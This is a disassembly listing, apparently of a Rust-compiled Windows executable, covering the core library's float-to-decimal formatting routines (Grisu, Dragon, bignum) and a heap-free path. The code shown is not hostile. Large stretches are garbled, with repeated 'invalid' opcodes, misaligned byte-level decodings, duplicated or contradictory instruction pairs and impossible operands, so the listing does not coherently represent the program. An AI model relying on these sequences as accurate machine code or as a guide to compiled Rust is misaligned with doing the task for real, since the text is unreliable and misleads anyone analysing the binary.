add cx, dx
mov edx, 0xffffffc0
sub edx, ecx
movzx r10d, dx
mov r8d, r10d
and r8d, 0x3f
mov rdx, rax
mov ecx, r8d
shr rdx, cl
mov esi, 1
shl rsi, cl
lea r14, [rsi - 1]
mov r15, rax
and r15, r14
mov qword [rsp + 0x78], rdi
je 0x140046ec8
mov qword [rsp + 0x60], rsi
movzx r9d, word [r9 + r11 + 0xa]
cmp edx, 0x2710
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], rbx
jae 0x140046ee2
cmp edx, 0x64
mov rsi, qword [rsp + 0x58]
jae 0x140046f0d
xor ecx, ecx
cmp edx, 0xa
setae cl
lea r13d, [rcx + rcx*8]
inc r13d
jmp 0x140046f6d
lea rax, [0x1400e35da]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rax, [rsp + 0x158]
jmp 0x140047f3b
mov qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x58]
mov edi, dword [rsp + 0x54]
jmp 0x14004721f
cmp edx, 0xf4240
mov rsi, qword [rsp + 0x58]
jae 0x140046f2b
cmp edx, 0x186a0
setb cl
mov r11d, 0x2710
mov r13d, 0x186a0
cmovb r13d, r11d
xor cl, 5
jmp 0x140046f6d
cmp edx, 0x3e8
setb cl
mov r11d, 0x64
mov r13d, 0x3e8
cmovb r13d, r11d
xor cl, 3
jmp 0x140046f6d
cmp edx, 0x5f5e100
jae 0x140046f51
cmp edx, 0x989680
setb cl
mov r11d, 0xf4240
mov r13d, 0x989680
cmovb r13d, r11d
xor cl, 7
jmp 0x140046f6d
cmp edx, 0x3b9aca00
setb cl
mov r11d, 0x5f5e100
mov r13d, 0x3b9aca00
cmovb r13d, r11d
xor cl, 9
movzx ecx, cl
mov ebx, ecx
sub ebx, r9d
inc ebx
mov edi, dword [rsp + 0x54]
cmp bx, di
jle 0x140047009
movsx rax, bx
mov r9d, ebx
sub r9d, edi
movsx r11, di
sub rax, r11
cmp rax, rsi
movsx r9, r9w
cmovae r9, rsi
neg rcx
mov r11d, 1
mov esi, 0xcccccccd
nop
mov eax, edx
xor edx, edx
div r13d
add al, 0x30
mov byte [rsp + r11 + 0x3f7], al
cmp r9, r11
je 0x140047059
lea rax, [rcx + r11]
cmp rax, 1
je 0x140047157
mov eax, r13d
imul rax, rsi
shr rax, 0x23
inc r11
cmp r13d, 0xa
mov r13d, eax
jae 0x140046fb0
movabs rcx, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov eax, r13d
mov ecx, r8d
shl rax, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov r8, rsi
xor r9d, r9d
jmp 0x1400470a4
mov eax, edx
mov ecx, r8d
shl rax, cl
add rax, r15
mov edx, r13d
shl rdx, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov edi, dword [rsp + 0x54]
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov rsi, qword [rsp + 0x58]
mov r8, rsi
call fcn.140042c30
mov r13, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x98]
test rcx, rcx
mov rbx, qword [rsp + 0x68]
je 0x14004721f
mov rbp, qword [rsp + 0xa0]
movzx r14d, word [rsp + 0xa8]
cmp r14w, di
jg 0x140047f0b
mov word [rsp + 0x158], 2
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14004712a
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], rcx
mov edx, 2
jmp 0x14004714a
lea rax, [0x1400e35da]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
mov edx, 1
lea rax, [rsp + 0x158]
jmp 0x140047f2b
dec r10d
and r10d, 0x3f
mov eax, 1
mov r13, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x58]
nop dword [rax]
mov rdx, rax
mov ecx, r10d
shr rdx, cl
test rdx, rdx
jne 0x14004720a
mov rax, rbp
dec rax
je 0x140047231
bsr rax, rax
xor rax, 0x3f
jmp 0x140047236
mov eax, 0x40
sub rbx, rax
imul rax, rbx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
test rdx, rdx
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x150], rcx
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb4], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], 0
movups xmmword [rsp + 0x290], xmm0
movups xmmword [rsp + 0x284], xmm0
movups xmmword [rsp + 0x274], xmm0
movups xmmword [rsp + 0x264], xmm0
movups xmmword [rsp + 0x254], xmm0
movups xmmword [rsp + 0x244], xmm0
movups xmmword [rsp + 0x234], xmm0
movups xmmword [rsp + 0x224], xmm0
movups xmmword [rsp + 0x214], xmm0
movups xmmword [rsp + 0x204], xmm0
mov qword [rsp + 0x2a0], 1
mov dword [rsp + 0x200], 1
test r12w, r12w
js 0x14004734e
movzx edx, r12w
lea rcx, [rsp + 0xb0]
jmp 0x14004735d
neg r12d
movsx rdx, r12w
lea rcx, [rsp + 0x200]
call fcn.140042aa0
mov eax, r14d
neg eax
test r14w, r14w
cmovns rax, r14
lea r15, [rsp + 0x200]
lea rcx, [rsp + 0xb0]
cmovns rcx, r15
movzx edx, ax
call fcn.140042670
mov r12, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x158]
mov r8d, 0xa0
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1f8], r12
movabs r9, 0x44b82fa09b5a53
mov rcx, r12
mov r8, rsi
cmp rcx, 0x29
jae 0x14004742b
nop word [rax + rax]
test rcx, rcx
je 0x140047413
shl rcx, 2
xor r10d, r10d
nop dword [rax]
mov eax, dword [rsp + rcx + 0x154]
shl r10, 0x20
or r10, rax
mov rax, r10
shr rax, 9
mul r9
shr rdx, 0xb
imul rax, rdx, 0x3b9aca00
sub r10, rax
mov dword [rsp + rcx + 0x154], edx
add rcx, 0xfffffffffffffffc
jne 0x1400473e0
add r8, 0xfffffffffffffff7
cmp r8, 9
jbe 0x14004743e
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 0x29
jb 0x1400473d0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1400aa020
ud2
lea rax, [0x1400d7db0]
mov r8d, dword [rax + r8*4]
test r8, r8
je 0x14004804d
cmp rcx, 0x29
jae 0x14004742b
mov r11, rdx
inc rdx
lea rax, [rcx*4]
xor esi, esi
nop dword [rax]
cmp rax, rsi
je 0x140047d83
cmp dword [rsp + rsi + 0xb0], 0
lea rsi, [rsi + 4]
je 0x1400477a0
cmp al, 0x8d
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test rdi, rdi
je 0x140047b98
mov r8d, dword [rsp + rdi + 0x1fc]
cmp al, 0xfc
add dword [rax], eax
add byte [rax], al
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
cmp eax, dword [rsp + rdi + 0xac]
setne bl
add byte [rax], al
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
cmp eax, dword [rsp + rdi + 0xac]
cmp eax, dword [rsp + rdi + 0xac]
add byte [rax], al
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x140047b70
jmp 0x140047bab
adc ecx, dword [rbp + rcx*4 + 4]
cmp al, 0x49
add r8, 0x200
lea r8, [rsp + rdi]
add r8, 0x200
add byte [rax], al
cmp r8, r15
setne bl
neg bl
cmp bl, 1
ja 0x140047bcc
invalid
sbb al, 0x48
test ecx, ecx
test rcx, rcx
mov edi, dword [rsp + 0x54]
jl 0x140047bda
push rsp
je 0x140047c7f
ret 0
cmp rcx, 1
jne 0x140047bd8
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x140047c3b
mov rcx, rax
mov edi, dword [rsp + 0x54]
jmp 0x140047c8a
mov dl, 0
add byte [rax], al
mov rbx, rcx
mov ebx, ecx
retf
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
mov r8d, dword [rsp + rdi*4 + 0x200]
mov r8d, dword [rsp + rdi*4 + 0x200]
add al, byte [rax]
add byte [rcx - 9], al
ror byte [rdi], 1
mov dh, 0xc0
not r8d
movzx eax, al
bt eax, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
test byte [rax + rsi*4 - 0x75000000], bh
invalid
mov esp, 0x204
add byte [rax], al
test byte [rax + rsi*4 - 0x75000000], bh
test byte [rsp + rax - 0x8fffffe], bh
add byte [rax], al
not eax
invalid
add byte [rax], al
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
test byte [rsp + rsi*4 + 0x48000000], bh
lea edi, [rdi + 2]
test byte [rsp + rsi*4 + 0x48000000], bh
lea edi, [rdi + 2]
add byte [rax - 0x73], cl
jg 0x140047c20
setb al
cmp rbx, rdi
jne case.0x140023efa.354
test cl, 1
jne 0x140047c38
add dword [rbp + 0xd], esi
test al, al
mov edi, dword [rsp + 0x54]
push rsp
jne 0x140047c7f
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x200]
add byte [rdx], al
add byte [rax], al
not r8d
not eax
mov ebx, dword [rsp + rdi*4 + 0xb0]
mov al, 0
add byte [rax], al
lea r15d, [r8 + rbx]
movzx r13d, al
add r13d, r15d
setb al
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
fmul dword [rbp - 0x77]
int 0x8b
jl case.0x1400263ce.321
push rsp
add byte [rax], al
add byte [rcx + 1], al
fmul dword [rbp - 0x77]
int 0x8b
jl case.0x1400263ce.321
push rsp
lea r15, [rsp + 0x200]
jb 0x140047c7f
add byte [rdx + 8], dh
test al, al
je 0x14004807b
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x150], rcx
inc sil
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rax - 2], al
invalid
cmp r11, qword [rsp + 0x58]
je 0x140047fac
test byte [rdi], dl
add eax, dword [rax]
invalid
test byte [rdi], dl
add eax, dword [rax]
add byte [rax - 0x80], al
invalid
add sil, 0x30
mov byte [rsp + r11 + 0x3f8], sil
test rcx, rcx
je 0x140047cff
mov r8d, dword [rsp + rsi + 0xb0]
lea r8, [r8 + r8*4]
add byte [rdi - 0x73], cl
add al, 0x80
lea rax, [rax + r8*2]
mov dword [rsp + rsi + 0xb0], eax
test byte [rax + rsi*4], dh
add byte [rax], al
add byte [rax - 0x3f], cl
call 0x10687c4fe
add al, 0x49
cmp ebx, esi
test byte [rax + rsi*4], dh
add byte [rax], al
add byte [rax - 0x3f], cl
call 0x10687c4fe
add al, 0x49
cmp ebx, esi
jne 0x140047cc0
test rax, rax
je 0x140047d01
cmp rcx, 0x27
ja 0x140047f94
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x140047d01
mov qword [rsp + 0x150], rcx
cmp rdx, rbp
jne 0x140047782
mov al, 1
mov rsi, qword [rsp + 0x58]
jmp 0x140047d1f
cmp r12, 0x29
jae 0x140048037
test r12, r12
je 0x140047dc2
mov rdx, qword [rsp + 0x58]
cmp rbp, rdx
ja 0x140048095
lea rcx, [rbp - 1]
cmp rcx, rsi
cmp ecx, esi
cmp ecx, esi
jae 0x140047fd5
add dword [rax], eax
add dh, dh
test byte [rax + rdi*8], cl
add eax, dword [rax]
add byte [rcx], al
test byte [rsp + rcx + 0x3f8], 1
je case.0x140028256.162
add byte [rax], al
cmp rbp, rsi
ja 0x1400480a6
mov r8, 0xffffffffffffffff
mov rcx, rbp
nop dword [rax]
test rcx, rcx
je 0x140047ea8
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x3f7], 0x39
je 0x140047e70
inc byte [rsp + rcx + 0x3f8]
cmp rax, rbp
cmp eax, ebp
clc
add eax, dword [rax]
add byte [rax + 0x39], cl
cmp eax, ebp
jae case.0x140028256.162
lea rcx, [rsp + rax]
cmp eax, ebp
jae case.0x140028256.162
lea rcx, [rsp + rax]
lea ecx, [rsp + rax]
add rcx, 0x3f8
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
invalid
add bl, ch
invalid
add eax, 0x4848eb00
test ebp, ebp
test rbp, rbp
je 0x140047ed2
mov byte [rsp + 0x3f8], 0x31
mov bl, 0x30
cmp rbp, 1
je 0x140047ed4
lea rcx, [rsp + 0x3f9]
lea r8, [rbp - 1]
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
jmp 0x140047ed4
mov bl, 0x31
lea eax, [r14 + 1]
cmp r14w, di
invalid
jl 0x140047eed
invalid
cmp rbp, rsi
cmc
jae 0x140047eed
mov byte [rsp + rbp + 0x3f8], bl
inc rbp
inc ebp
sub al, 0xf8
add eax, dword [rax]
add byte [rax - 1], cl
inc ebp
inc ebp
mov r14d, eax
cmp rbp, rsi
ja 0x140048067
xchg dword [rsi + 1], ebp
add byte [rax], al
xchg dword [rsi + 1], ebp
add byte [rax], al
outsb dx, byte [rsi]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdi*8], fs
add eax, dword [rax]
add byte [rsi + 0x41], ah
cmp esi, edi
invalid
lea rcx, [rsp + 0x3f8]
cmp r14w, di
invalid
dec byte [rdi]
mov ss, esp
int1
invalid
jle 0x1400470df
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov r8d, r14d
mov r9, qword [rsp + 0x90]
call fcn.140042da0
mov r11, qword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x2a8], r8
mov qword [rsp + 0x2b0], r11
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
call 0x1400465b0
nop
add rsp, 0x7f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
mov edx, 0x28
call fcn.1400a9fa0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
call fcn.1400a9fa0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
add eax, 0x8ff6c
mov rdx, rsi
call fcn.1400a9fa0
invalid
invalid
add byte [rdi], cl
invalid
invalid
cmp al, 0x17
or dword [rax], eax
mov edx, 0x28
mov rcx, rax
call fcn.1400aa020
ud2
lea rcx, [0x1400d86c9]
lea r8, str.librarycore_src_num_flt2decmod.rs
mov edx, 0x25
add byte [rax], al
add al, ch
test dword [rax], esp
and byte [rsi], al
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
test dword [rax], esp
and byte [rsi], al
and byte [rsi], al
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, [0x1400d7edf]
lea rcx, [0x1400d7edf]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
sbb al, 0
add byte [rax], al
sbb al, 0
add byte [rax], al
call fcn.1400aa0a0
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r12
call fcn.1400aa020
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
call fcn.1400aa020
ud2
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1a
call fcn.1400aa0a0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
call fcn.1400aa020
ud2
add al, byte [rax]
add byte [rax], al
cmp r11, r9
cmp ebx, ecx
cmp ebx, ecx
mov r12d, 1
cmove rsi, r12
hlt
add r10, 3
add byte [rax], al
add byte [rcx + 0xf], cl
hlt
hlt
hlt
test rdx, rdx
cmove r10, rsi
cmove edx, esi
cmove edx, esi
invalid
dec r10
lea rdx, [0x1400ef844]
movsxd r9, dword [rdx + r10*4]
xchg edx, eax
xchg edx, eax
add r9, rdx
jmp r9
mov r11b, 3
jmp 0x1400481bb
mov r11b, 4
jmp 0x1400481bb
lea ecx, [r11 - 2]
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140048240
mov r15, rax
shr r15, 0x3f
test rax, rax
lea rax, [0x1400e35d9]
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
cmovs rdx, rax
lea r14, [0x1400d86c2]
cmovs r14, rax
test r8b, r8b
cmove r14, rdx
mov edx, 1
cmovne r15, rdx
cmp cl, 1
je 0x140048281
movzx eax, cl
cmp eax, 2
jne 0x1400482b3
mov word [rsp + 0x1b0], 2
lea rax, [0x1400e35da]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 1
jmp 0x1400482a6
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d86c3]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
mov edx, 1
lea rax, [rsp + 0x1b0]
lea r14, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r15d, r15d
jmp 0x1400499d5
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d86c6]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x1b0]
jmp 0x1400499d5
test rbx, rbx
je 0x140049b99
lea rsi, [r12 + rbx]
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
lea edx, [rbp - 0x20]
test rax, rax
cmovne rcx, rsi
cmovne edx, ebp
mov rax, rcx
shr rax, 0x30
mov r8, rcx
shl r8, 0x10
lea r9d, [rdx - 0x10]
test rax, rax
cmovne r8, rcx
cmovne r9d, edx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r9, rcx
shl r9, 4
test rax, rax
cmovne r9, rcx
lea eax, [rdx - 4]
cmovne eax, edx
mov rcx, r9
shr rcx, 0x3e
lea r10, [r9*4]
lea r8d, [rax - 2]
test rcx, rcx
cmovne r10, r9
cmovne r8d, eax
xor ecx, ecx
test r10, r10
setns cl
shl r10, cl
sub r8d, ecx
lea rax, [rbx - 1]
mov qword [rsp + 0x450], rax
mov word [rsp + 0x458], bp
mov ecx, ebp
sub cx, r8w
js 0x140049bb3
and ecx, 0x3f
mov rdx, 0xffffffffffffffff
shr rdx, cl
mov r9, rdx
and r9, rax
mov qword [rsp + 0x4f8], r9
cmp rax, rdx
ja 0x140049b6e
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x80], r11
shl rax, cl
mov qword [rsp + 0x450], rbx
mov word [rsp + 0x458], bp
mov r9, rdx
and r9, rbx
mov qword [rsp + 0x4f8], r9
cmp rbx, rdx
ja 0x140049b6e
mov edx, 0xffffffa0
sub edx, r8d
movsx edx, dx
lea edx, [rdx + rdx*4]
shl edx, 4
add edx, 0x153b0
imul r9, rdx, 0x7b4dc993
mov qword [rsp + 0x188], rbx
mov rdx, rbx
shl rdx, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea rcx, [0x1400d7fc0]
mov r15, qword [r9 + rcx]
movzx r11d, word [r9 + rcx + 0xa]
mov dword [rsp + 0x30], r11d
mov r11, r10
shr r11, 0x20
mov rsi, r11
mov qword [rsp + 0xb0], r11
mov r10d, r10d
mov ebx, r15d
shr r15, 0x20
mov r11, r15
imul r11, r10
mov qword [rsp + 0x48], r11
mov r13, rbx
imul r13, rsi
imul r10, rbx
shr r10, 0x20
mov esi, r13d
add rsi, r10
mov edi, r11d
add rdi, rsi
add r8w, word [r9 + rcx + 8]
mov r14, rax
shr r14, 0x20
mov eax, eax
mov r9, r15
imul r9, r14
mov qword [rsp + 0x40], r9
mov r11, r15
imul r11, rax
imul r14, rbx
imul rax, rbx
shr rax, 0x20
mov r9d, r14d
add r9, rax
mov r10d, r11d
add r10, r9
mov r9d, edx
mov rsi, rdx
shr rsi, 0x20
mov r12, r15
imul r12, r9
mov rcx, rbx
imul rcx, rsi
imul rbx, r9
shr rbx, 0x20
mov edx, ecx
add rdx, rbx
mov ebx, r12d
add rbx, rdx
mov rdx, r15
imul rdx, qword [rsp + 0xb0]
sub rdi, 0xffffffff80000000
shr r13, 0x20
mov rax, qword [rsp + 0x48]
shr rax, 0x20
shr rdi, 0x20
neg r8d
sub r10, 0xffffffff80000000
shr r14, 0x20
mov qword [rsp + 0x70], r14
shr r11, 0x20
mov qword [rsp + 0x78], r11
shr r10, 0x20
mov r9, r15
mov qword [rsp + 0x178], rsi
imul r9, rsi
sub rbx, 0xffffffff80000000
shr rcx, 0x20
mov qword [rsp + 0x170], rcx
add r9, rcx
shr r12, 0x20
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x88], rdx
lea rcx, [rdx + r13]
mov qword [rsp + 0x48], rax
add rcx, rax
lea r11, [rdi + rcx]
inc r11
and r8d, 0x3f
mov qword [rsp + 0x38], r11
mov ecx, r8d
shr r11, cl
mov edx, 1
shl rdx, cl
mov qword [rsp + 0x168], r12
add r9, r12
shr rbx, 0x20
mov qword [rsp + 0x180], rdx
lea r12, [rdx - 1]
cmp r11d, 0x2710
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0x90], rdi
jae 0x1400485df
cmp r11d, 0x64
jae 0x14004860a
xor ecx, ecx
cmp r11d, 0xa
setae cl
lea r14d, [rcx + rcx*8]
inc r14d
jmp 0x140048626
cmp r11d, 0xf4240
jae 0x14004890d
cmp r11d, 0x186a0
setb cl
mov edx, 0x2710
mov r14d, 0x186a0
cmovb r14d, edx
xor cl, 5
jmp 0x140048626
cmp r11d, 0x3e8
setb cl
mov edx, 0x64
mov r14d, 0x3e8
cmovb r14d, edx
xor cl, 3
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
mov qword [rsp + 0x160], rbx
add r9, rbx
mov qword [rsp + 0x68], r9
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
and rdi, r12
movzx r9d, cl
mov ecx, r9d
sub ecx, esi
inc ecx
mov qword [rsp + 0x30], rcx
add r13, qword [rsp + 0x70]
add r13, qword [rsp + 0x78]
add r13, r10
mov qword [rsp + 0x40], r13
sub rdx, r13
mov qword [rsp + 0x70], rdx
lea r10, [rdx + 1]
mov rbx, r10
mov qword [rsp + 0x78], r12
and rbx, r12
xor r13d, r13d
mov r12d, 0xcccccccd
nop dword [rax]
mov eax, r11d
xor edx, edx
div r14d
add al, 0x30
mov r11d, edx
mov rdx, r11
mov ecx, r8d
shl rdx, cl
mov byte [rsp + r13 + 0x57], al
lea rbp, [rdx + rdi]
mov rsi, r10
sub rsi, rbp
ja 0x1400486f1
cmp r9, r13
je 0x1400487f2
mov r10d, r14d
mov ecx, r8d
shl r10, cl
mov r14, qword [rsp + 0x38]
sub r14, qword [rsp + 0x68]
lea rcx, [r14 + 1]
dec r14
cmp rsi, r10
setb r9b
cmp r14, rbp
jbe 0x14004896f
cmp r11d, 0x5f5e100
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
jae 0x140048940
cmp r11d, 0x989680
setb cl
mov edx, 0xf4240
mov r14d, 0x989680
cmovb r14d, edx
xor cl, 7
jmp 0x14004862f
cmp r11d, 0x3b9aca00
setb cl
mov edx, 0x5f5e100
mov r14d, 0x3b9aca00
cmovb r14d, edx
xor cl, 9
jmp 0x14004862f
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], r15
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rdx
lea rdx, [rsp + 0x450]
mov rcx, rdi
call 0x1400465b0
nop
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x1b0], 0
lea rcx, [rsp + 0x4f8]
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x1b0]
call fcn.1400aa0f0
ud2
lea rcx, [0x1400d7edf]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
call fcn.1400aa0a0
ud2
lea rcx, [0x1400d7d3e]
lea r8, [0x1400d7d80]
mov edx, 0x1d
call fcn.1400aa0a0
ud2
lea rbx, [rsp + 0x58]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
add bl, ch
invalid
mov rcx, qword [0x1400f91f8]
or eax, 0xaebe1
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call r12
call rsp
and r13, 0xfffffffffffffff8
mov rdi, r13
je 0x14004a6a1
mov r13, qword [rdi]
mov eax, r13d
and eax, 7
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
and al, 0x30
cmp rax, 1
jne 0x14004a818
add byte [rax], al
add dword [rdi], ecx
test eax, ebx
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x49], cl
sbb byte [rax], cl
or byte [rax], al
invalid
mov r14, qword [rdi + 0x818]
or byte [rax], al
add byte [rcx - 0x7d], cl
cmp r14, 0x41
jae case.0x140023efa.414
and ecx, 1
add byte [rax], al
inc byte [rcx + 0xf]
jae case.0x140023efa.414
and ecx, 1
add byte [rax], al
test r14, r14
je 0x14004a610
mov edx, 0x186f8d48
lea rbp, [rdi + 0x18]
lea ebp, [rdi + 0x18]
shl r14, 5
xor esi, esi
invalid
test byte [rdi], 0x10
movups xmm0, xmmword [rbp + rsi]
xor eax, 0x4c100f00
xor eax, 0x4c290f10
invalid
invalid
invalid
movups xmm1, xmmword [rbp + rsi + 0x10]
movaps xmmword [rsp + 0x60], xmm1
sub dword [rsp + 0x60], ecx
and al, 0x60
and al, 0x60
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
movups xmm0, xmmword [0x1400dfb30]
adc byte [0x1400dfb30], al
add eax, 0x954b5
mov ch, 0x54
push rsp
or dword [rax], eax
movups xmmword [rbp + rsi], xmm0
movups xmm0, xmmword [0x1400dfb40]
adc byte [0x1400dfb40], al
add eax, 0x954b9
mov ecx, 0xf000954
add byte [rdi], cl
movups xmmword [rbp + rsi + 0x10], xmm0
adc dword [rbp + rsi + 0x10], eax
mov rcx, rbx
mov ecx, ebx
fcos
push rsp
call qword [rsp + 0x50]
and al, 0x50
add rsi, 0x20
cmp r14, rsi
cmp esi, esi
div byte [rbp - 0x3c]
jne case.0x14001be02.397
jmp 0x14004a610
invalid
mov rcx, qword [r15 + 0x80]
mov ecx, dword [rdi + 0x80]
pop qword [rax + 0x49000000]
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x77], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
invalid
mov r8, rcx
mov eax, ecx
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
loopne case.0x14001ba11.400
clc
mov rdx, qword [r8 + 0x810]
adc byte [rax], cl
add byte [rax], al
mov r14, rdx
mov esi, edx
invalid
and r14, 0xfffffffffffffff8
and esi, 0xfffffff8
je 0x14004a7c1
inc byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rdi, [rsp + 0x60]
lea edi, [rsp + 0x60]
jl case.0x140023efa.358
and al, 0x60
lea rbx, [rsp + 0x38]
pop rsp
and al, 0x38
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov esp, dword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x65d34
xor al, 0x5d
invalid
add bl, ch
jmp case.0x140075d15.381
sub al, 0x66
nop dword cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
mov rcx, qword [r15 + 0x80]
pop qword [rax + 0x49000000]
mov eax, ecx
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov r8, rcx
enter 0xffffffffffff8349, 0xffffffffffffffe0
clc
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
mov rdx, qword [r8 + 0x810]
mov edx, dword [rax + 0x810]
nop
adc byte [rax], cl
or byte [rax], al
invalid
or byte [rax], al
